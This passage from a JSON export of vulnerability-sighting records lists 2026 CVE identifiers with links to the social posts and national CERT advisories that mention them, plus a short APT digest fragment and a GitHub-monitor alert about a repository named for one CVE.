\u00ab\u0434\u0440\u0443\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e\u00bb \u041f\u041e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0410\u041d\u0411 \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u0442\u0440\u043e\u0433\u0430\u0442\u044c. \u041a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u043a fast16 \u0432 \u044d\u0442\u043e\u043c \u0441\u043f\u0438\u0441\u043a\u0435:  \u00abNothing to see here \u2013 carry on\u00bb.\n\n#APT #\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 @\u041f2\u0422", "creation_timestamp": "2026-04-27T07:33:04.000000Z"}, {"uuid": "7f5e8119-04a8-4605-9e28-bcc61022bed9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20432", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miv44zzap62i", "content": "", "creation_timestamp": "2026-04-07T06:02:09.069885Z"}, {"uuid": "1fa919df-80a1-47c5-b66b-64d69f2a865c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20431", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miv4lgjejr25", "content": "", "creation_timestamp": "2026-04-07T06:10:11.986993Z"}, {"uuid": "fc74a795-eafa-4f9e-bcd5-4e7348e71d98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20446", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miv4uexhyw2t", "content": "", "creation_timestamp": "2026-04-07T06:15:12.335529Z"}, {"uuid": "ea1cd7e3-539e-4dae-a51a-c600fbfe2a10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20433", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miv55dfhjq23", "content": "", "creation_timestamp": "2026-04-07T06:20:12.738232Z"}, {"uuid": "c995202f-0bde-41d3-9b99-1277905a7227", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20911", "type": "seen", "source": "https://infosec.place/objects/8d7948f0-fd3d-4ef0-a9b2-0e673f03b577", "content": "", "creation_timestamp": "2026-04-07T14:30:05.850774Z"}, {"uuid": "ef032659-b19d-4306-96ed-626815608a07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20889", "type": "seen", "source": "https://infosec.place/objects/72a4c88b-fe5e-4af9-b409-08f3cb778fe0", "content": "", "creation_timestamp": "2026-04-07T14:30:22.679843Z"}, {"uuid": "c10b700f-3457-4333-b6a8-10740cad1501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20884", "type": "seen", "source": "https://infosec.place/objects/42dbf6e7-c4bd-4f56-9d41-4a7d96bb33dd", "content": "", "creation_timestamp": "2026-04-07T14:30:34.566759Z"}, {"uuid": "7c297f93-afa8-4250-a0ea-90fde5720426", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20432", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mivzrg66ve2j", "content": "", "creation_timestamp": "2026-04-07T14:52:48.024663Z"}, {"uuid": "3ad93438-44b9-4fa1-9a59-6663399d33f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20433", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mivzrnroel2r", "content": "", "creation_timestamp": "2026-04-07T14:52:54.803452Z"}, {"uuid": "5703ec33-fd86-46de-8566-9891baf173ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20884", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3miw5wywaau2r", "content": "", "creation_timestamp": "2026-04-07T16:07:27.233406Z"}, {"uuid": "9738001a-3585-4bd0-b819-c3af3754dc2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20951", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3miwmz5eaic2p", "content": "", "creation_timestamp": "2026-04-07T20:36:53.999615Z"}, {"uuid": "e7f0fc60-da20-49b0-a619-95177dc88bb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://dnsc.ro/citeste/alerta-vulnerabilitate-critica-la-nivelul-cisco-smart-software-manager", "content": "", "creation_timestamp": "2026-04-03T03:53:01.000000Z"}, {"uuid": "1f07ba5e-69aa-4e3f-b4eb-78242e51aac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://www.ncsc.gov.ie/pdfs/2604070220_CVE-2026-20093.pdf", "content": "", "creation_timestamp": "2026-04-06T17:00:00.000000Z"}, {"uuid": "aa76090d-ae3d-4293-8d5b-6f53d0ed95ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20688", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-013/", "content": "", "creation_timestamp": "2026-03-29T17:00:00.000000Z"}, {"uuid": "c8c44af4-1ab7-40b7-b0ab-623cd03c2adb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20094", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0388/", "content": "", "creation_timestamp": "2026-04-01T17:00:00.000000Z"}, {"uuid": "bee8e78e-fd8a-4718-8c45-702bbc0bda25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20151", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0388/", "content": "", "creation_timestamp": "2026-04-01T17:00:00.000000Z"}, {"uuid": "25d17e29-1601-47ae-88d3-1b06fc342e3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0388/", "content": "", "creation_timestamp": "2026-04-01T17:00:00.000000Z"}, {"uuid": "5cce1485-889d-40bf-8179-aad70b7646dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20095", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0388/", "content": "", "creation_timestamp": "2026-04-01T17:00:00.000000Z"}, {"uuid": "635e5256-1bdc-4ab4-880b-baee3563629e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0388/", "content": "", "creation_timestamp": "2026-04-01T17:00:00.000000Z"}, {"uuid": "153dc85d-e314-4f37-baf5-e08fc28d5c41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20097", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-remote-code-execution-vulnerabilities-multiple-cisco-products-patch-immediately", "content": "", "creation_timestamp": "2026-04-02T07:29:28.000000Z"}, {"uuid": "790d0ef2-f9f0-422f-9b52-c7a261fa6acc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20096", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-remote-code-execution-vulnerabilities-multiple-cisco-products-patch-immediately", "content": "", "creation_timestamp": "2026-04-02T07:29:28.000000Z"}, {"uuid": "32785cb5-6c0f-49b1-9993-09ce99785930", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20155", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-remote-code-execution-vulnerabilities-multiple-cisco-products-patch-immediately", "content": "", "creation_timestamp": "2026-04-02T07:29:28.000000Z"}, {"uuid": "ebcaa9ba-00ed-425c-b6de-90ea5e08d5d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20094", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-remote-code-execution-vulnerabilities-multiple-cisco-products-patch-immediately", "content": "", "creation_timestamp": "2026-04-02T07:29:28.000000Z"}, {"uuid": "120a483f-db3c-4633-b942-cee21e8701f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-remote-code-execution-vulnerabilities-multiple-cisco-products-patch-immediately", "content": "", "creation_timestamp": "2026-04-02T07:29:28.000000Z"}, {"uuid": "e97774af-6c74-4206-9ab7-84f89ad00eb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20097", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0388/", "content": "", "creation_timestamp": "2026-04-01T17:00:00.000000Z"}, {"uuid": "fdf71079-9d77-4128-bd9f-30fe60a5ff6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20096", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0388/", "content": "", "creation_timestamp": "2026-04-01T17:00:00.000000Z"}, {"uuid": "794ad5a9-22c5-425e-b653-d3ddc8c4ec4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20095", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-remote-code-execution-vulnerabilities-multiple-cisco-products-patch-immediately", "content": "", "creation_timestamp": "2026-04-02T07:29:28.000000Z"}, {"uuid": "76147d2d-3c35-4bb8-8bd0-4d6702d056b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20155", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0388/", "content": "", "creation_timestamp": "2026-04-01T17:00:00.000000Z"}, {"uuid": "1229c13b-7036-4c4b-89b5-4221f49f38b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/GithubRedTeam/80438", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-20127\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gigachadusers\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C++\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-15 16:40:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-15T17:00:03.000000Z"}, {"uuid": "23eb4dc3-4cc5-4fa2-8b2d-338c77240262", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-critical-authentication-bypass-vulnerability-cisco-integrated-management", "content": "", "creation_timestamp": "2026-04-03T07:10:54.000000Z"}, {"uuid": "1c130225-68c8-46e3-b4de-f7764a4ef980", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/concisecyber.bsky.social/post/3miy3eyyqpd2m", "content": "", "creation_timestamp": "2026-04-08T10:26:42.243452Z"}, {"uuid": "a9a842bf-3fd9-4830-a8f0-536fbb9306e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20432", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-7", "content": "", "creation_timestamp": "2026-04-08T01:50:50.000000Z"}, {"uuid": "1cfcb26c-0994-400e-bb00-d6dbd25b0904", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20433", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-7", "content": "", "creation_timestamp": "2026-04-08T01:50:50.000000Z"}, {"uuid": "52208678-a937-4551-8376-7874c655fd75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20446", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-7", "content": "", "creation_timestamp": "2026-04-08T01:50:50.000000Z"}, {"uuid": "e12a24fd-8d46-4541-8ab7-4c63777cb608", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20431", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-7", "content": "", "creation_timestamp": "2026-04-08T01:50:50.000000Z"}, {"uuid": "5f0b2d77-5ba7-493f-b34d-e1a902e73033", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3miz3tqgefs2f", "content": "", "creation_timestamp": "2026-04-08T20:07:36.198654Z"}, {"uuid": "074075d2-b37e-498a-afd0-6fdb59a5e255", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mj26b4dnx52u", "content": "", "creation_timestamp": "2026-04-09T06:23:32.721738Z"}, {"uuid": "6b8c3702-33d2-4ded-a77d-e4a563ddecb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mj5ee3on7w2t", "content": "", "creation_timestamp": "2026-04-10T12:50:33.755525Z"}, {"uuid": "de5cb650-ea14-447c-a4ba-7df9205215d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2003", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mj5ee3on7w2t", "content": "", "creation_timestamp": "2026-04-10T12:50:33.569578Z"}, {"uuid": "65c5c5d5-02f9-47ea-9e8c-9b1e1aa5b586", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2004", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mj5ee3on7w2t", "content": "", "creation_timestamp": "2026-04-10T12:50:33.662821Z"}, {"uuid": "8255254c-a858-4c68-9bdb-c9fe2b9d77b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mj5ee3on7w2t", "content": "", "creation_timestamp": "2026-04-10T12:50:33.845759Z"}, {"uuid": "350a33cd-611e-498f-afad-87c3ee0c3210", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20911", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mj6f4x2q7a2y", "content": "", "creation_timestamp": "2026-04-10T22:37:07.157168Z"}, {"uuid": "eb7830f9-a701-4a14-8631-bc56f0448a6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mj6jrwcig22v", "content": "", "creation_timestamp": "2026-04-11T00:00:26.960961Z"}, {"uuid": "7f663b35-a45b-441f-81c8-3450a4398a46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20884", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mj7idiknrf2p", "content": "", "creation_timestamp": "2026-04-11T09:07:08.581662Z"}, {"uuid": "aa33eae4-3108-46ac-b7b3-12c624d3884b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20889", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjdef5jk3g2j", "content": "", "creation_timestamp": "2026-04-12T22:07:07.682131Z"}, {"uuid": "e11b1566-7c11-4300-ae34-4a882b61a06a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "d8cfd1ea-72b2-495a-8544-3c01022a370a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "b8ac891b-5505-45ee-a9c0-c251d9875d12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20824", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "f74bd47b-2ef2-435d-9606-da7545118f3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20815", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "7e3f03f8-13ef-40ce-8173-ccae30d769f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20835", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "29e2cf22-816d-4fe5-b11a-f32a62591f29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20851", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "dbba99c3-a366-47bc-bc63-f9bafa9c43ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20830", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "7a177588-657f-433a-aae7-ae98038d73c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20837", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "032cd632-9e28-4ef9-bf94-6003a741d0fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20869", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "434360c5-528e-4ba5-8b7e-1cae8d7016ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20936", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "aa872497-c198-4313-bcc5-74c393ec61d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20858", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "e9cb150f-8161-4ea8-96ae-5ac2b6445dbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20865", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "b13d0ade-d50e-4d74-bec3-21e6e5dfb8e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20877", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "2a5df9b6-dea3-4bd2-b59d-c8a2d11941cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20918", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "05626211-4c88-4b70-8a15-2c0c90dd6754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20923", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "4dbb22e7-301a-46fa-b097-829b4cb92186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20924", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "f9e9a117-317f-434c-85a4-90efa3b02320", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20861", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "97f3001f-22fa-414b-960a-8443ac6f165a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20862", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "bcacb293-ffc9-423d-8248-74a7a4da1997", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20866", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "f593c619-7789-4616-b980-5d7e56f76a23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20867", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "330cc423-8a8d-4ecf-b147-929273cd3372", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20873", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "241a5d65-dbd4-443d-9fd4-ef563de355f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20874", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "dd29370c-d80f-48c9-9c4d-9aacf4e931f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20839", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "2ab3c9b0-a96f-4ab3-90c7-d47af62841fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", 